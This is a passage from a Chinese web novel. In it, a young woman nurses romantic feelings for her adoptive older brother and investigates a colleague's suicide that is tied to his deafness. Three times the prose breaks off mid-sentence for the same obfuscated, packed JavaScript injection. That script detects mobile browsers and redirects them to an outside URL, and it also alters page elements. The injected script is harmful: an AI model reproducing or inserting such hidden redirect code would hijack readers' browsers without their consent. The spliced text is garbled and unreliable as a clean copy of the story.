他沉默一瞬,再次抬眼时,带着抱歉和疏冷,这让他看上去有些不近人情。 “景怡,之前出于某种考量,我认为你是很合适的交往对象,可现在我发觉自己的想法是错误的,很抱歉,是我忽略了花开的结果是必须要有种子这个前提。” “对不起,我们是否可以回归到正常的同事关系。” 廖景怡紧攥着手心,极力遮过心里的不甘,看着谭禹远去的身影,她的目光定格在他额外购买的草莓蛋糕上,谭禹和谭溪亲密的样子又一次浮现。 她抓住手机,想要为自己的挫败找到一个借口。 谭禹想象着谭溪见到蛋糕后惊喜的表情,她大概会笑弯眼睛,夸张的围着他绕来绕去,嘴巴里也叽叽喳喳的说一堆话,那副画面让所有等待都有了意义。 突然传来的一条消息将他拉回现实。 廖景怡:你做出这个决定是因为谭溪吗。我问过顾明一,她不是你的亲妹妹。 谭禹薄唇紧抿,用了不太礼貌的回答:她在我心里就是亲妹妹,我对她的感情永远不会改变。你这样想,是在侮辱我的人格。 这句之后,是久久的沉默。谭禹也收起手机继续往前走,他想,廖景怡的推测未免太过荒谬,他怎么可能会对妹妹生出超过兄妹界限的感情。 草莓蛋糕果然让谭溪露出笑容,她拿着勺子大口的吃,表情很满足,谭禹则坐在不远处,静静地看着她。 上次的事情只是个无足轻重的小插曲,说清楚之后就好了,谭溪在慢慢收起对他过分的亲密,而他也在重建自己的秩序。 这样很好,他们的兄妹关系终于有了清晰的边界线。 … 房子里有两个卫生间,一个在客厅,一个在谭溪的房间,那房间本来是谭禹住,他是怕妹妹洗澡不方便,才特意搬到了次卧。谭禹日常的洗漱都在公卫进行,可这天公卫浴室的花洒坏掉了。 “小溪,你在我的列表里搜索卫浴王师傅,然后告诉他花洒的喷头不会出水,跟他约好上门维修的时间。”谭禹把手机递给谭溪,让她代劳。 谭溪,谭溪真是不做人事,她打了电话,却跟师傅说:“您好王师傅,我家里的花洒喷头坏掉了,您什么时候能来上门维修呢?哦..今天就可以啊,那后天吧,这几天我不在家,后天上午可以吗。” 跟王师傅约好后天的时间,她又打字跟谭禹汇报:“王师傅说他最近不在公司,后天才能回来,所以我就跟他约了后天。” “这公司只有他一个维修师傅吗?”谭禹淡淡的问,为这种工作效率感到困惑。 谭溪脸不红心不跳的扯谎话:“我问了,王师傅说他们落实责任到人,只有他才能来修。” 谭禹没话说,不知道该夸他们责权明确还是效率低下,可问题是洗浴,他不得不抱歉的看向妹妹:“在公卫的花洒修好之前,我可能要暂时借用你房间里的卫生间了。” 正中下怀,谭溪笑眯眯的点头:“可以呀。” 于是谭溪从这一刻开始期待哥哥洗澡的画面,那一定很好看。 她心痒难耐的等到晚上,终于,在收拾完厨房的碗筷之后,谭禹从自己的卧室里拿出一套干净的睡衣,接着对谭溪打声招呼,进了她的房门。 谭溪挂上意味不明的笑,走到门口,卡好外面门锁上钥匙的尺寸,紧接着推门进去,扳动锁芯,把门从里面反锁。 哥哥不是要跟她保持距离吗?现在不得不同处一室,谁都别想逃。 谭溪翘着腿坐在床边,听着卫生间里传来的流水声,轻哼着一首自己改编过歌曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174729|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“世上只有哥哥好,有哥的妹妹是块宝,躲进哥哥的怀抱,幸福少不了...” 流水声渐渐消失,谭溪瞬间换上另一种表情,那是一种做错事时的害怕和懊悔。 由于浴室里面地方不大,谭禹只是很简单的擦了下身体就出来,白色的短袖透水后贴在身上,布料下的腹肌接近于透明,他头发也是湿的,毛巾简单擦两下,还在顺着脖子滴水,两道剑眉点漆一样镶嵌在高耸的眉骨上,轮廓硬朗。 他皱眉看着屋里的状况,顿在原地:“小溪,你怎么进来了?” 谭溪不自觉的吞咽口水,紧接着急忙解释:“我不小心把门从外面反锁了,现在打不开了,怎么办啊哥哥...” 她很慌张,脸上尽是无措,打字的手也在颤抖。 谭禹先跟她说没事,接着走到门前,用力的按下把手,确认真的无法从里面打开后,他下意识的衣服里掏手机,可又想起手机放在外面,只能跟谭溪求助:“在手机上叫个开锁的。” 谭溪的话跟在后面:“可楼下的门禁应该早就关了吧...” 他们这小区每栋单元楼晚上十点关门,之后需要门禁卡或者面部识别才能进来,现在这点儿,师傅到了肯定上不来,只能等明天,谭禹拜托同事过来帮忙。 他仍不死心,又在门上费了些功夫,谭溪也不说话,就站在哥哥身后欣赏着这副景象,湿了的衣服贴合在身上,勾出劲瘦的腰身,手臂用力,粗隆的肌肉抿起流畅而优美的线条,哥哥一定有在健身,他的肌肉不是薄薄一层,而是蕴藏着力量。 谭禹挣扎无果,最终放弃。 他用毛巾擦头发,十指穿插在湿润的发间,动作很快,水雾溅落在谭溪的胳膊上,让她整条胳膊都变得酥麻,泛起一阵密密麻麻的凸起。 脸颊正在变得滚烫,心跳也在加速,她四处乱瞟,最后落向卧室里这张唯一的床上。 这床很宽,就算是两个人躺也能完全容纳。 会和哥哥一起睡觉吧,会的吧。 她还没来得及把这个建议写在手机上给哥哥看,谭禹已经有了打算,他从衣柜的最上面翻出来一个被子,接着铺在地上:“我今晚打地铺,明天早上我找人来开锁。” 谭溪心里一阵失落,她强装镇定,拍拍床,给谭禹写:“床很大,哥哥也上来睡啊。” 她怎么能说这样的话? 谭禹微眯着眼睛盯着她,话里多了几分正式的警告:“谭溪,你把我的话当耳旁风吗。” 全无半点温柔,只有明令禁止的严肃,他生出冰冷的刺,逼退谭溪。 谭溪僵住,一句话都不敢多说,委委屈屈的把自己扔进床里,她有点后悔今晚做的事了,她本意是想跟哥哥亲近,而不是让他在地上受罪。 谭溪披着被子缩在床上玩手机,玩不下去,满脑子想的都是谭禹,她又打滚一样挪到床边,悄悄去看躺在地上的谭禹,刚从被子里露出来一双眼睛,就被谭禹呵斥:“这么晚了,还不睡觉?” 他平日里是很纵容谭溪,谭溪也向来无法无天,可一旦拿出哥哥的威严,谭溪就不战自败了。 她冲着谭禹重重的冷哼一声,裹着被子回到自己的小窝。 下一秒,谭禹抬手关掉床边的灯,卧室陷入黑暗,谭溪伴随着哥哥轻浅的呼吸声进入梦乡,在梦里,她又一次见到谭禹。 但这次的他,满身寒冰都化作春水。 12. 听不见 那是小时候,她双手握着谭禹的手指要他买糖吃,接着天旋地转,她倒在床上,面前是二十八岁的哥哥,他穿着那件湿掉的短袖,近乎透明的衣衫遮挡不住喷勃的肌肉,他弯腰俯身,食指和中指并拢抵在她的唇边,用引诱的口吻哄着她张嘴,向来冷峻的脸上沾染着动容的涩情。 谭溪颤颤巍巍的卷起舌尖… 接着被吓醒。 呼吸微微急促,谭溪看着天花板上的壁灯,把自己拉出哥哥织造的泥谭。 平复好心情,她卷着被子滚到床边,自上而下的盯着谭禹的睡颜发呆。 因为被谭禹照顾的太好,她对男性所有的要求都以谭禹为标准。 初中进入青春期,班上总有些讨厌的男孩以欺负女孩子为乐趣,谭溪有个同桌就是如此,喜欢趁人不备偷偷弹女孩子内衣肩带,女孩子往往因为羞耻而忍下这口气,而始作俑者则捧腹大笑。 谭溪很想惩罚他,可又不知道该怎么做,遇事不决就去问哥哥。 谭禹面无表情的用手指勾起谭溪套在手腕上的皮筋,微微弹在她的手上,留下一点很淡的红痕。 之后那男孩再犯,谭溪笑容纯粹的跟他说要玩一个游戏,接着毫不留情的扯着皮筋往他嘴上弹。后来因为这事儿被叫家长,是谭禹来的学校,谭溪在哥哥鼓励的目光下,当着所有人的面悉数这男孩的种种恶劣行径,把他燥的面红耳赤,一句话都说不出口。 事后哥哥夸她做得好,并奖励她三球加料的冰淇淋。 之后上高中,谭溪又被叫家长,谭禹被她从千里之外呼回来。 这次是因为早恋,不过是谭溪被早恋。 事情的起因要追溯到高一的运动会,谭溪偶然认识了邻班的一个男孩子,俩人多聊了几句,放学路上因为偶遇也顺路走过几回,谭溪以为这是朋友间最正常不过的交往方式,可那男孩误会了,单方面宣告两个人在谈恋爱。 跟朋友闲聊中对‘女朋友’的得意落入教导主任的耳朵,男孩没招架多久就抖搂个干净,谭溪一脸懵的被传唤。 得知始末,她先是否认,在听到男孩那句“那我们不就是在谈恋爱吗你装什么装?”后,她再也忍不住的跟他撕打起来,用的只有蛮力,完全不讲情面。 没人愿意相信谭溪的话,他们都只当这是恋情被戳穿后的挣扎。 谭溪觉得太丢脸,也不认为在这种情况下,父母会相信她说没早恋的话,唯一想到的人就只有谭禹。 谭禹匆匆赶回来,见到的就是谭溪顶着一头乱掉的头发委屈巴巴的看着他,她说哥哥,我没早恋,更没撒谎。 谭禹听完来龙去脉,站到谭溪身边,口吻严肃且郑重。 “我妹妹不会骗人,没做过的事就是没有。”话音落下,他又用轻蔑的目光看向那个男孩:“况且,这种懦弱、自大的人,根本不配和我妹妹谈恋爱。” 事情在谭禹寸步不让的坚持下以男孩的道歉结尾。 谭溪皱巴着一张脸,拉着哥哥的袖口离开,出了校门,谭禹变戏法一样给她拿出从燕北捎回来的酸奶,谭溪问他:“哥哥,你...不怀疑我是在撒谎吗。” 谭禹给他的答案是那样笃定。 “你是我带大的,没人比我更了解你,你会犯错,可不会撒谎。” 成长、发育、早恋,这些似乎都是长大必然要面对的问题,而这个过程又处处充满哥哥的影子,谭禹给了她陪伴、照顾和信任。 谭溪逃不开、躲不过,所以当她第一次梦到自己和哥哥亲吻,感受到的没有半点恐惧,只有尘埃落定的踏实感,她轻而易举的接受了自己喜欢谭禹这件事。 只有哥哥,也只能是哥哥。 谭溪端着下巴靠在床边静静地端赏他的睡颜,看的太入神,没注意到自己半边身子已经凌到半空中。谭禹措不及防睁开眼睛,谭溪被吓到,还没来得及躲,身体的惯性将她带到地上。 谭禹下意识的伸手去接,谭溪结结实实的落入他的怀抱,雪松气息铺天盖般席卷而来,谭溪耸动鼻尖,深深的吸了口气,柔软的身体像条握不住的鱼,就这样滑入谭禹的怀里。 身体的每一寸缝隙都被填满,谭禹整张脸埋进妹妹的头发里,被拉直的头发有几分粗粝,扎在嘴唇上泛起一阵痒意,但更糟糕的是身体的变化。 谭禹是个正常男人,早上难免活跃些,尤其跟谭溪紧贴的柔软对比,身上的异常更加明显。他难得无声骂句脏话,双腿迅速弹开,接着又掐起谭溪的腰,将她整个人捞起来扔到床上。 两个人都为这个突发情况陷入静默,可只有自己清楚,静面之下,激荡的巨浪不停歇的击打岸边。 默不作声拿起谭溪的手机,谭禹在上面拨出一串数字,垂着眼递给她:“顾明一的电话,叫他来开门。” 说着,从地上站起来,背对着谭溪进了卫生间。 门被关上,谭溪看着电话无奈的叹口气。 多好的机会,就这样浪费了,唉! 谭禹还真是...难搞啊。 浴室内,半身镜直白的照出他腰部以下的所有异样,叫嚣着他的卑劣和下流。谭禹脸上出现一种近乎惊恐的表情,他不敢再多看一眼,他打开水龙头,弯腰拱手,把冰凉的水泼在脸上试图找回几分清醒。 为什么会这样,明明他已经拨乱反正,回到了正常的兄妹关系中,可他怎么能生出这种冲动呢。 这不该,也绝对不能是哥哥对妹妹该有的反应。 他忍不住又一次想,到底是什么变了,到底是谁在变? 可无论如何,现在做错事的人是他。他为自己的反应感到憎恶,紧跟着生出满心愧意。 谭溪什么都不懂,一切都是他对不起谭溪,他应该以死谢罪。 顾明一来的很快,紧闭着的房门终于打开,跟着一起打开的还有浴室的门,谭禹在里面足足待了一个小时,谭溪没听到流水声,也不敢去问一句他到底在做什么。 她觉得谭禹把她扔床上的表情特别吓人,眉毛叉着,嘴角抿着,眼神晦暗不明,像暴雨前阴沉的天,吓得她不敢说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174730|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾明一来这里也不单单是为了开门,谭溪看到他跟谭禹一起进了书房,俩人在里面待了很久都没出来,谭溪坐在沙发上发呆,正准备弄点儿早饭吃,被手边的电话铃声惊醒。 哥哥的电话,上面显示“李舟妈妈。” 谭溪看了眼紧闭着屋门的书房,没接,电话自动挂断后又响起,像在催命。 谭溪咬唇,犹豫着按下接通键,刚刚贴在耳朵上,里面传来的话让谭溪原地僵住。 一个女人愤怒又绝望的嘶吼声,字字泣血。 “谭禹!为什么现在所有人都在说小舟是自杀?为什么!是你,是你害死了他,应该死的人是你才对!” 她是谁,李舟又是谁?为什么她要用这样的话骂哥哥? 谭溪满心疑问得到解答,她怔怔的开口:“您..您好,我是谭禹的妹妹,他现在不在..” 话没说完,被对面打断,她依然用力嘶吼,这次还带上诅咒:“妹妹?你知道你哥哥是杀人犯吗,他杀了我儿子,我唯一的儿子!” 谭溪听不得有人说谭禹半句不好,下意识的怼回去:“你凭什么说我哥哥是杀人犯?如果他真的犯法,警察会抓他,用不着你在这里空口定罪!” 女人似是绝望到极点:“警察...哈哈哈警察...” 书房的门打开,谭溪看着已经被挂断的电话,神色复杂的看向谭禹。 他到底在瞒什么,这个女人又为什么要说他是杀人犯,频频被提到的李舟,又跟哥哥是什么关系? 哥哥的失聪...会跟他们有关吗? 谭溪觉得自己好像在一团乱麻中看到了一闪而过的线头,直觉告诉她,这件事一定跟哥哥的失聪有关。 哥哥闭口不谈的秘密,究竟是什么? 谭溪决定试探一番,她拿起手机走到谭禹面前,面带疑惑的写下一串字:“刚才有人一直打电话,我就接了,备注是李舟妈妈,她说了好多我没听懂的话。” 她紧盯着哥哥的脸,也不忘捎带去看顾明一的,果然看到俩人同时变了的脸色。 谭禹额角紧绷:“不管她说了什么,都不必在意。” 谭溪点点头,又问:“李舟是谁,也是哥哥的同事吗?” 谭禹不知从何说起,顾明一替他回答:“是我们以前的同事,现在已经离职了。” 谭禹抿抿嘴,像是默认这个答案。 谭溪没有错过顾明一摸鼻子的动作,这是人在撒谎时下意识的举动。她心底有了诸多猜测,可在谭禹面前也只能按下不提,她假意开口:“明一哥,谢谢你来开锁,我送你出去。” 跟谭禹交代几句,谭溪带他出门,电梯门开,谭溪跟他一起走进去,顾明一客气的说:“送到这儿就行,妹妹你快回去吧。” 谭溪笑笑,脸上摆出跟谭禹如出一辙的强势:“明一哥,李舟死了,对吗?” 顾明一神色僵硬,不自然的低下头。 谭溪向他走进几步,眼睛紧盯着他:“他的死跟我哥哥有关,对吗?” 13. 听不见 谭溪从顾明一的口中拼凑出故事的真相,也终于明白那次聚餐,他们到底在遮掩什么。 李舟是谭禹的下属,从刚进公司起就一直跟着谭禹,二人关系不错,亦师亦友。 前阵子李舟因为判断失误致使公司损失将近百万的资金,那是个很低级的错误,低级到让人无法容忍。 这在谭禹看来是不该犯的错,他理所当然的训斥了李舟。 紧接着,李舟径直从几十层的高楼上一跃而下。 “是当着老大的面跳的,老大没抓住,亲眼见他摔了下去。” “李舟妈妈不知道从哪听来这件事,追着老大不依不饶,说他吹毛求疵、职场霸凌。李舟下葬那天老大去了吊唁现场,被他妈妈泼了一身脏水,回来后…就听不到了。” “李舟给公司造成的损失,老大出了一半的钱,竟然还要被他妈妈说成心虚……唉……” 谭溪听的想哭,谭禹绝对、绝对不会是这样的人。 一直以来,认真都是他的做事准则。 大到人生每一次重要选择,小到每天的日常安排,他都会做出严密细致的计划并贯彻到底。 他绝不会看到李舟犯错后还坐视不管,那不是苛责,只是他的做事方式。 至于霸凌就更是无稽之谈,谭禹是最让人感到安心的存在,他不会仗着资历欺负别人,只会用自己的经验默默替人撑伞。 谭溪红着一双眼,梗着脖子说:“这不是我哥哥的错。” 顾明一叹了口气:“我们都清楚,可是妹妹,从李舟死的那一刻开始,老大的所有辩解就都没有用了,更何况,他也不会辩解。” 谭溪咽下了喉头的酸涩,她明白,这些罪名根本伤害不到谭禹,真正让他不堪折磨导致失聪的,是他对李舟的愧疚。 他一定无数次在想,如果不训斥他,如果能拉住他,结果会不会不一样。 他就这样把自己困在死胡同里,百思不得其解,无数次堵死在墙头,直到世界变成一片寂静的荒原。 没人能审判谭禹,除了他自己。 谭溪怀着一种极其复杂的心情回到家里,她的心被啃噬出一处缺口,每走一步都在滴血。 尤其是看到正在厨房里为她温牛奶的哥哥,那道口子被拉扯到最大程度,撕裂后带出碎肉,疼到麻木。 谭溪连鞋子都顾不上换,飞扑过去从后面抱住他的腰身,眼泪顺着脸颊直流。 不管是亲眼看着李舟跳楼,还是在葬礼上被人辱骂,只要脑补那个画面里的谭禹,就让谭溪心疼的不得了。 滚烫的泪水浸湿谭禹的后腰,他握着温热的牛奶没有动弹,他能猜到,那些避而不谈的东西,到底还是被她知晓了。 腰背被谭溪紧紧箍着,这不在谭禹划定的安全距离内,可这次谭禹没有推开她。 他想纵容自己留出一些接受安慰和心疼的时间。 这份安慰只有家人能给,或者说,只有谭溪能给。 许久之后,心疼的潮水逐渐退去,谭溪拉过椅子坐在谭禹的书桌对面,双手交叠放在桌子上,下巴压着手背,发出一行字给谭禹看。 “哥哥,能告诉我李舟到底犯了什么错吗? 谭禹眼神很冷淡:“工作上的失误。” 明显是回避的态度,谭溪转转眼珠子,扯谎回答:“那不如这样,你给我讲讲风投。快要出成绩了嘛,紧跟着就要报志愿,我总得提前了解一下每个职业是做什么的,你也不想看到我稀里糊涂选个什么都不懂的专业吧。” 这理由并不牵强,谭禹微微挑眉,口吻里带了几分打趣:“你以前不是立志要做宠物医生,现在志向变了?” 谭溪轻哼一声,用别的东西来转移他的注意力。 “哥哥三年不回家,怎么知道我就没变过心意呢?” 百试百灵的利器,提起这事,谭禹总是不占理的。 他用简单明了的方式为谭溪解释了风投最简单的定义,在看到她眼睛里被点燃起来的兴趣后,又不自觉的补充了几句。 虽然听不到谭溪在说什么,可谭禹能从她的眼神中得到反馈,他想谭溪可真是个捧场王,面对如此枯燥的理论知识也能做到兴致盎然。 “哥哥,那你能给我讲几个风投行业的经典案例吗,方便我更好的理解。” 她似乎很感兴趣。也对,谭溪向来是这样,遇事三分热度,喜欢的时候能夸到天上,热度散去就又弃如敝履。 谭禹房间的柜子里现在还放着她小学买的贴画、中学买的手账胶带,还有各种精美的盲盒娃娃。 东西都是谭禹买给她的,谭溪不稀罕的时候也理所当然的再丢回去。 她要听,谭禹就得讲,他搜刮出一些国内外有名的案子讲给谭溪听,他是个好老师,谭溪也充当着乖学生,遇到难懂的专业名词,谭溪会一次又一次的让他再说一次。 她坚持不懈的样子让谭禹想到十年前他给谭溪辅导作业。 一道拿钱买东西的问题被谭溪翻来覆去的问,谭禹辅导到无奈,但在看到妹妹依旧执拗好奇的眼睛时,他又瞬间气消。 忽然为谭溪的性格感到欣慰,谭溪有一颗赤子之心和刨根问底的探究精神,这种特质比谭禹的不善言辞强得多。 如果是他,他只会一个人花费大量的时间去搞懂,他无法做到坦言自己最真实的想法和需求。 他常常羡慕谭溪。 “好了,今天就讲到这里,该休息了。”谭禹看了眼时间,催促谭溪回房间。 谭溪轻哼一声,拖着步子走的很慢,鞋底在地板上发出重重的摩擦声,她一步三回头,看到立在书桌边把凳子归位的谭禹,那股心疼又一次的翻涌。 她停下了脚步,转身,往另一个方向而去。 后背又被柔软填满,谭禹低下头,看到圈在他小腹上方的两条手臂,彩绘的卡通人物在他深灰色的睡衣上是那样不协调。 他握住谭溪的两条胳膊,拉开,转过身又握住她的肩膀调了个方向,垫着她的肩膀往房间里推。 关门之前,他补充一句:“小溪,这件事对我来说,已经过去了,我没有那么脆弱。” 第一次的拥抱是安慰,但谭禹不会容忍第二次的发生。 门关上,谭溪一点点的挪到床边,接着面朝下扑在床上。 骗人,如果真的已经过去,他的耳朵绝不会还是现在这样。 翌日一早,谭溪罕见早起,今天她要陪谭禹去趟公司,出席公司对李舟事件的会议。 谭溪翻着衣柜,从里面找出一件纯色上衣和长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174731|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至膝盖的百褶中裙,她对镜照了半天,十分满意,可以,看上去成熟多了。 推开房门,谭溪看到,在阳光的照耀下,谭禹每根头发丝都在发光,光线穿透薄薄的衬衫,似乎能看到腰身的弧度 说起来,她还是第一次见到谭禹穿正装的样子,真好看。 哥哥的叫声打破谭溪的沉迷,她扬起唇角,娇俏的站到他的身边,裙摆扬起的弧度蹭过谭禹的腿侧,留下短暂的交集。 有谭溪跟司机交涉,两个人很顺利的来到谭禹的公司,青元风投。 谭溪进门就见到熟人,是几天前来家里见过的几位。 本次会议的主要参会人员是管理层,谭禹找来张倩倩,嘱托对方暂时帮他照看谭溪。 上班时间可以合理摸鱼,张倩倩求而不得。 她带谭溪去茶水间玩,但谭溪此行并不是为了玩,她有正事要做。 “倩倩姐,我已经知道我哥跟李舟之间发生的事了,你能告诉我,你所认识的李舟,他是一个什么样的人吗。”在谭溪看来,工作上的失误并不足以让一个人产生寻死的念头,这事一定另有隐情。 张倩倩知无不言,谭禹的宝贝妹妹肯定比他们这些同事更懂得如何安慰他。 话说到末尾,她指指离谭禹办公室最近的桌子:“那是李舟的工位,如果你想了解他,可以去那里找找信息。” 谭溪坐在他的工位上,李舟的私人物品被同事收好放进一个箱子里,他家里没人来拿,东西就一直那么放着。谭溪没有资格去翻看箱子里的东西,她看着干净的桌面,目光凝到黑漆漆的电脑屏幕上。 “倩倩姐,我可以使用这台电脑吗?” “可以,部门资料已经全部删除干净了,你放心用。” 电脑桌面同样干净整洁,谭溪扫视一圈,最后点开回收站,想从这里寻找线索。 投标书... 企划书... xx公司评估报告... ... 花销清单 南城照片11.23 她终于在一堆资料里找到一些不一样的东西,照片上,一对年轻情侣姿态亲密,女孩温婉,男孩青涩。 谭溪静静地浏览完这两个文档,结束后关上电脑,找张倩倩问了一个问题。 “倩倩姐,李舟有女朋友吗?” “有的啊,一个本地姑娘,家里条件挺好的,他们从大学谈到现在,不过我听说在他出事前一阵分手了。” “那你有她的联系方式吗?” “没有,我只知道她是一六六中学的老师。” 一六六中学? 谭溪咬着嘴唇思索好一会儿,去茶水间给她的好朋友纱纱打电话。 纱纱是她的高中同学,最重要的是她是个coser,在全国各地都有认识的好基友,大家年龄相仿,通过学生找老师,要比大海捞针强得多。 幸运的是,纱纱还真有个朋友就在燕北市一六六中学念书,李舟女友的消息很快就被传过来。 她姓徐,教语文。 纱纱提醒她如果找人要快,学生很快就要放假了。 谭溪记下这个消息,打算明天就开始动身,只是在此之前,要找个什么借口瞒着哥哥单独出去呢? 14. 听不见 会后两人一起回家。 谭溪挽着谭禹的胳膊,维持着一个恰到好处的距离,她一直在想要用什么借口出门,完全没有注意到谭禹投来的目光。 这是谭溪第一次,虚握着他,就连身体也没有半点往他身上倾斜的弧度。 谭禹抿紧嘴唇,明明谭溪如他所说在保持距离,可他为什么没有感到想象中的轻松呢。 心脏漏跳半拍,他又回想起那个荒谬的早上。 谭禹忍无可忍的,拂开谭溪的手,在她询问目光中,咬了咬后槽牙,蹦出来几个字:“太热了。” 谭溪抬头看了眼灼灼烈日,认同他的说法,把握着胳膊的手改成拉着衣角,她笑的没心没肺。 可谭禹却觉得哪哪都不对劲,他说不清这种违和感从何而来,总之不在他的秩序之内。 一直到家,兄妹俩都各怀心事。 出门一趟,热的浑身汗津津,两个浴室的花洒同时开始工作。 屋内,谭溪站在花洒下,拿着浴球把泡沫沾满全身,她鼓起腮部,把胳膊上的泡沫吹掉,玩儿够之后再笑嘻嘻的冲身体。 屋外,谭禹仰着头,任由水柱落下,他要平息今天产生的所有异常反应,把乱掉的东西重新拨回去。 一趟澡洗下来,两个人都浑身舒畅,谭溪想到了应对的方法,谭禹也觉得调理好了那些异样。 “哥哥,明天我想出去一趟。” 谭禹看着这行字,压平的眉毛又一次扬起,但他内心还尚未掀起波澜:“要去哪,需要我陪你吗。” 谭溪摇头,打出早就编好的借口。 “不用,我同学来这里旅游,我们顺便见一面,你在的话就没法说悄悄话了。你一个人在家一定要小心,有事给我发消息。” 听上去是再正常不过事情,谭禹找不到理由说不,他同样叮嘱一句,出门在外小心,还顺手拿了藿香正气水塞进谭溪的包里。 事情解决,见谭禹没有出现任何怀疑的神色,谭溪想要继续昨晚没有说完的话题:“哥哥,跟我讲讲李舟那个案子吧。” 目光凝聚在‘李舟’两个字上,谭禹沉默着。虽然妹妹已经知道了事情的始末,可如今要他再一次谈起,他的内心下意识是排斥的。 他犹豫着,微蜷的指尖被一片温热覆盖,谭溪用双手捧住他的手,大拇指在他的指腹上揉捏。 谭禹看到她在很慢、很慢的说:“哥哥,告诉我吧。” 她的眼睛是那样温柔,这几乎不像他认识的谭溪,可谭禹却感到莫名心安,理智告诉他,应该松开包裹着他指尖的手掌,可他此刻却不想遵从惯有的理智。 他为什么就非得遵守那些自己刻下的规则呢,妹妹是例外啊。 这个忽然冒出来的念头犹如一句裹着蜜糖的毒药,让他心甘情愿的吞咽下去。 谭禹回忆起那天。 “评估公司在财务报表上造假,不是多高明的手段,曾经我带李舟做过一模一样的案例,所以我想不明白他为什么会在这上面栽跟头。我说话的口吻的确,的确...” 他陷入罕见的卡顿,脸上甚至闪过一丝懊恼,话被中断。 谭溪知道,他一定是回想起了那天,那个灰败的日子。她第一次从哥哥身上看到脆弱,谭溪起身,张开双臂,抱住了他。 这是无声的安慰,也是一种坚定的支撑。 鼻息间充斥着妹妹的气味,她的发梢扎在谭禹的侧脸,他感受到柔软,这支撑着谭禹继续说下去。 “我说话的口吻,的确重了些。说完之后,我让他回去复盘,他应下了,接着没有任何预兆,就像平常走路一样,一跃而下。” 尖叫声和呼喊声充斥着整栋办公楼,谭禹的耳朵里只有尖锐的耳鸣声,他只看到无数张嘴和脸围着他说个不停,可他什么都听不到,也看不懂。 轻柔的掌落在后背上,将他拉出无声的荒漠,谭禹看到妹妹眼里的怜惜和心疼。 他在一瞬间放弃了抵抗,把头靠在她的肩膀上,享受着这为数不多的,被安慰和珍惜的时刻。 翌日,阳光正好。 “确定不需要我陪你?”谭禹看着即将出发的谭溪,又一次的问,他不露痕迹的打量着谭溪,衣服、鞋子都很日常,嘴巴上是最原始的色彩,怎么看都不像是约会状态。 紧绷的神经莫名松弛了大半。 谭溪笑着摇头,反过来叮嘱他在家要小心。 谭禹把人送到电梯口,电梯门关上,他看到钛合金门里面色不虞的自己,他额头紧绷,搞不懂为什么自己脸上会出现这种表情。 回到家,站在落地窗边,他看着谭溪在阳光下逐渐走远。 这大概只是出于对妹妹独自出门的担忧。 他只是还没有适应谭溪的长大,就像没法适应谭溪的亲密和靠近那样。 他又一次的想,谭溪已经成年了,她理应变得独立,他也该学会放手。 想清楚这些,谭禹不再烦忧,而是回到书桌边,继续自己的工作。 谭溪则打车去了一六六中学,她凭借着一张学生脸和回校看老师的借口,成功骗过了门口的保安,顺利溜进去。 纱纱的朋友很靠谱,连徐老师的任教班级都打听清楚。 谭溪在后门等下课,趁着等待间隙打量这个校园,北方和南方的学校布局似乎不太一样。 她的高中有很多连廊,即使身处不同的两栋楼,也能清晰看到对面发生的事。 纱纱以前的男朋友就在他们对面的教学楼,两个人每次偷摸约会都被谭溪戏称为牛郎织女相会。 而她则是那头负责盯梢的老黄牛。 纱纱说早晚有一天会帮她盯回去,谭溪心里想,这辈子大概都没有这个可能。 她心里只有谭禹,容不下半点别人。 她也曾经幻想,如果她和谭禹年龄相仿,他们或许会一起读书一起上学,那大概会是种很好的体验。 即使是十六岁的谭禹,也会有远超同龄人的成熟和稳重,这是他与生俱来的天赋。 但这天赋却让谭溪倍感头疼,她清楚地知道,谭禹恪守原则,泾渭分明,在他心里,妹妹永远是妹妹,也只能是妹妹。 她又在胡思乱想,温温柔柔的声音叫住了她。 “这位同学,你找人吗?” “徐老师您好,我叫谭溪,是谭禹的妹妹。” “谭禹...我有印象,他是李舟的上司。你找我是?” 徐琳长相温婉,声音温柔,但让谭溪觉得奇怪的是她的态度,她心里忽然生出一个猜测,难道说,徐琳并不知道李舟去世的事? 如果徐琳不知道,她这样贸然前来,对徐琳来说,真的合适吗? 可她又想到那些难听的咒骂和谭禹的耳朵。 人不可能做到面面俱到,现在对她来说,最重要的是解开哥哥的心结,她没法顾及所有人的心情。 想清楚这点,她还是决定告诉徐琳这个沉痛的消息:“李舟半个月前在公司坠楼身亡了。” 徐琳的眼睛在瞬间睁大,泪水盈满眼眶,她猝然低头,留下一连串的泪珠:“怎么会..怎么会这么突然..” 她没有对这个消息发出质问,而是用了突然。 谭溪敏锐的察觉到不同寻常的地方:“李舟他..之前就出现过情绪不对劲的情况?” 